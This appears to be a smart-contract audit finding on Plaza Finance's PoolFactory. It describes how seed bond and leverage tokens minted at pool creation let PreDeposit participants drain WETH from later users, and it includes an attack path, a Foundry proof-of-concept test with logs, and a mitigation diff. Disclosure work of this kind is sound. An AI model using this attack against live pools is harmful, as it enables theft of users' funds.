Ambitious Rusty Turkey

High

# Minting bond and leverage tokens during pool creation will impact subsequent users and force pool asset ratio imbalance

### Summary

Minting bond and leverage tokens during pool creation in the Pool Factory contract with direct calls to `bondToken.mint()` and `lToken.mint()` will impact subsequent bond or leverage token creations as users who interact with that pool directly to create bond/leverage tokens will receive fewer reserve assets (e.g WETH) in return during redeem of the minted bond or shares.

### Root Cause

The protocol uses `PreDeposit` contract to accrue reserve assets before later distributing the bond and leverage tokens to the PreDeposit contract which users who participate in the deposit window can get to claim relative to their contributions. When a PreDeposit window ends, a Pool is created and the promised leverage and bond tokens are minted to the PreDeposit contract with calls below in the `PoolFactory` contract:

```solidity
function createPool(
    PoolParams calldata params,
    uint256 reserveAmount, // e.g ETH amaount. cannot be 0
    uint256 bondAmount, // cannot be 0
    uint256 leverageAmount, // cannot be 0
    string memory bondName,
    string memory bondSymbol,
    string memory leverageName,
    string memory leverageSymbol,
    bool pauseOnCreation
  ) external whenNotPaused() onlyRole(POOL_ROLE) returns (address) {

    ...

    // Mint seed amounts
@>    bondToken.mint(msg.sender, bondAmount);
@>    lToken.mint(msg.sender, leverageAmount);
    
    // Revoke minter role from factory
    bondToken.revokeRole(MINTER_ROLE, address(this));
    lToken.revokeRole(MINTER_ROLE, address(this));

    return pool;
  }
```

The issue begins from this point on. Considering the first mint of bond and leverage tokens happened without taking into account price feed prices, collateral levels, and creation rates, when users who mint from the pool directly redeem their bond or leverage tokens, they receive less underlying asset (e.g WETH) even though for example the fee is 0, the prices for the assets are the same, they still maintain a sufficient collateral level to receive underlying asset back as the same value they deposited such as 1 WETH, they receive 0.97 WETH back.

This issue can be further aggravated by an attacker stealing underlying assets by participating in the PreDeposit and then redeeming their max bondETH and levETH tokens received during such participation. After the attack, the amount of underlying assets e.g WETH the other users receive, decreases from every redeem action, forcing the last few users to be in total loss of their WETH balance as there would be no sufficient underlying asset in the pool left to redeem their bond or leverage tokens.

Now, when a user interacts with the pool to mint bond or leverage tokens, the most important function we use to determine their shares is the `getCreateAmount` function which checks the user's collateral levels, checks tvl, and determines the amount of tokens to mint with regards to the current feed prices and creation rates:

```solidity
return ((depositAmount * ethPrice * PRECISION) / creationRate).toBaseUnit(oracleDecimals);
```

Likewise, when the user tries to withdraw, the `getRedeemAmount` does something similar by factoring in price feed prices and redemption rates:

```solidity
return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;
```

During the pool creation, the very first bond and leverage token shares were minted by directly calling the mint function of the leverage or bond token, hence the price, creation, or collateral level rates were not factored in. This allows the users who participated in the PreDeposit timeframe to steal underlying assets from subsequent users who did not participate and instead created bond or leverage tokens directly from the pool by calling `create` function.

Lines of codes are as follows:
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/PoolFactory.sol#L124-L240
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L284
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L306-L344
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L453
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L477-L525

### Internal Pre-conditions

There are no preconditions for this to occur as it already occurs during PreDeposit contract's call to the PoolFactory to create a pool and becomes realized whenever the attacker who participated decides to redeem their max leverage or bond tokens, forcing other users into a loss of underlying assets

### External Pre-conditions

There are no external preconditions for this issue to be realized.

### Attack Path

1. An attacker can participate in the PreDeposit of a pool
2. Once the pool is created, the attacker claims their leverage and bond token from the PreDeposit contract
3. Subsequent users head to the pool to create bond and leverage tokens
4. The attacker goes to the pool and then redeems his max leverage and bond tokens
5. Subsequent users who interacted with the pool directly without participating in the PreDeposit timeframe and minted bond or leverage tokens will receive less and less underlying assets during redeem calls

### Impact

The users lose a portion of their underlying assets e.g WETH and the attacker gains a proportionate amount of the total loss accrued from each user thereby leaving a handful of users with bond or leverage tokens they cannot redeem for the underlying asset as the pool holds less balance to redeem them.

From the POC below, we can see that Alice deposited 1 WETH and then immediately redeemed all her bond shares and got 0.97 WETH in return even in the same timestamp without the protocol charging fees and prices remaining exactly the same. In this case, I have set the pool fee to 0 so we can understand the bug's existence simply. We can also note that the attacker first redeems their bond shares and still has 40 leverage shares to redeem without sufficient underlying assets in the pool yet. Once new users then create bond or leverage tokens, he can go ahead and redeem his leverage tokens forcing such newer users into a loss still.

### PoC

Add this diff in the `Pool.t.sol` test file:
```diff
using Decimals for uint256;
  using Strings for uint256;

+ Pool.TokenType initassetType;
  PoolFactory private poolFactory;
  PoolFactory.PoolParams private params;

  MockPriceFeed private mockPriceFeed;
+ MockPriceFeed private mockPriceFeed1;
  address private oracleFeedsContract;

  address private deployer = address(0x1);
  address private minter = address(0x2);
  address private governance = address(0x3);
  address private securityCouncil = address(0x4);
  address private user = address(0x5);
  address private user2 = address(0x6);

  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
+ address public constant bondEthPriceFeed = address(0x71041dDdAD3595f9Ced3DcCfbE3d1f4B0A16bB71);
  uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;
  uint8 private constant CHAINLINK_DECIMAL = 8;
```

Then add this test case below to test: `forge test --mt testRedeemFromPoolAsUserAfterPoolCreated -vvv`

```solidity
function testRedeemFromPoolAsUserAfterPoolCreated() public {
    initializeTestCasesFixedEth();

    vm.startPrank(governance);
    Token rToken = Token(params.reserveToken); // WETH

    // Mint reserve tokens for PreDeposit actions
    rToken.mint(governance, 10 ether);
    rToken.approve(address(poolFactory), 10 ether);

    // Mint reserve tokens to Alice from Dallas
    address aliceFromDallas = makeAddr("aliceFromDallas");
    rToken.mint(aliceFromDallas, 1 ether);

    // Create salt to create the pool at a different address
    string memory salt = "NEW POOL";
    
    // assuming each bondETH is worth 100 USD, ether price is 3000 USD, and each levETH is worth 841 USD, protocol goes on to create a pool where 300 bondETH is minted and 40 levETH is minted and 10 WETH is deposited into the Pool
    Pool _pool = Pool(poolFactory.createPool(params, 10 ether, 300 ether, 40 ether, "", salt, "", "", false));

    console.log("Pool: ", address(_pool));
    console.log("Pool ETH balance after creation: ", rToken.balanceOf(address(_pool)));

    uint256 startBondBalance = BondToken(_pool.bondToken()).balanceOf(governance);
    uint256 startLevBalance = LeverageToken(_pool.lToken()).balanceOf(governance);

    console.log("startBondBalance: ", startBondBalance);
    console.log("startLevBalance: ", startLevBalance);

    initassetType = Pool.TokenType.BOND;
    vm.stopPrank();

    // ORACLE FEEDS ARE SET AND PRICES TOO FOR THE BOND FEED
    vm.startPrank(deployer);
    OracleFeeds(oracleFeedsContract).setPriceFeed(address(_pool.bondToken()), address(0), bondEthPriceFeed, 1 days);

    // Deploy the mock price feed
    mockPriceFeed1 = new MockPriceFeed();

    // Use vm.etch to deploy the mock contract at the specific address
    bytes memory bytecode = address(mockPriceFeed1).code;
    vm.etch(bondEthPriceFeed, bytecode);

    // Set oracle price
    mockPriceFeed1 = MockPriceFeed(bondEthPriceFeed);
    mockPriceFeed1.setMockPrice(100 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL)); 
    vm.stopPrank();

    vm.prank(aliceFromDallas);
    rToken.approve(address(_pool), 1 ether);
    vm.prank(aliceFromDallas);
    uint256 amountForAliceInBond = _pool.create(initassetType, 1 ether, 0);

    console.log("Alice minted bondETH: ", amountForAliceInBond);
    console.log("Alice WETH balance after create: ", rToken.balanceOf(aliceFromDallas));

    vm.prank(aliceFromDallas);
    uint256 amountReceivedETH = _pool.redeem(initassetType, amountForAliceInBond, 0);
    console.log("Alice WETH balance after redeem: ", rToken.balanceOf(aliceFromDallas));

    console.log("Pools WETH balance: ", rToken.balanceOf(address(_pool)));

    vm.startPrank(governance);
    // Governance or PreDeposit participants go to pool and redeem just 99.99% bonds minted (299.99 bondETH) without redeeming any levETH
    uint256 amount12 = _pool.redeem(initassetType, startBondBalance - 1, 0);
    vm.stopPrank();

    console.log("Pools WETH balance: ", rToken.balanceOf(address(_pool)));

    console.log("bondToken total supply: ", _pool.bondToken().totalSupply());
    console.log("leverageToken total supply: ", _pool.lToken().totalSupply());
  }
```

Test logs:
```javascript
[PASS] testRedeemFromPoolAsUserAfterPoolCreated() (gas: 4349756)
Logs:
  Pool:  0xD83ba83614C305c952B3F88f2197FA2c5Dc0D614
  Pool ETH balance after creation:  10000000000000000000
  startBondBalance:  300000000000000000000
  startLevBalance:  40000000000000000000
  Alice minted bondETH:  37500000000000000000
  Alice WETH balance after create:  0
  Alice WETH balance after redeem:  977777775000000000
  Pools WETH balance:  10022222225000000000
  Amount received WETH attacker:  9999999999999999999
  Pools WETH balance:  22222225000000001
  bondToken total supply:  1
  leverageToken total supply:  40000000000000000000
```

From the POC test logs above, we can see that after the attack only `0.02222` WETH equivalent to 69 USD at 1 WETH rate of 3000 USD is left in the Pool which is nowhere near enough to the value of 40 levETH tokens left to be redeemed.

### Mitigation

One of the few ways to mitigate this and which I would recommend is to not mint the `bondToken` and `lToken` to the `PreDeposit` contract directly in the `PoolFactory` contract with calls:

```solidity
// Mint seed amounts
    bondToken.mint(msg.sender, bondAmount);
    lToken.mint(msg.sender, leverageAmount);
```

Rather, after the Pool contract is created from the Pool Factory's `createPool` function, initiate the  second `create` function which accepts an `onBehalfOf` parameter which would be the address of the `PreDeposit` contract as this would mint the bond and leverage tokens correctly in a way whereby subsequent user bond and leverage token calls directly on the pool would not be skewed resulting to losses during redeems:

```solidity
function create(
    TokenType tokenType,
    uint256 depositAmount,
    uint256 minAmount,
    uint256 deadline,
    address onBehalfOf) external whenNotPaused() nonReentrant() checkDeadline(deadline) returns(uint256) {
    return _create(tokenType, depositAmount, minAmount, onBehalfOf);
  }
```

Possible diff would be:

```diff
    // Send seed reserves here
-   IERC20(params.reserveToken).safeTransferFrom(msg.sender, pool, reserveAmount);
+  IERC20(params.reserveToken).safeTransferFrom(msg.sender, address(this), reserveAmount);
    // approve pool for the amount
+  IERC20(params.reserveToken).safeApprove(pool, reserveAmount);

    // Mint seed amounts
-   bondToken.mint(msg.sender, bondAmount);
-   lToken.mint(msg.sender, leverageAmount);

+   Pool(pool).create(Pool.TokenType.BOND, reserveAmount / 2, 0, block.timestamp, msg.sender);
+   Pool(pool).create(Pool.TokenType.LEVERAGE, reserveAmount / 2, 0, block.timestamp, msg.sender);
```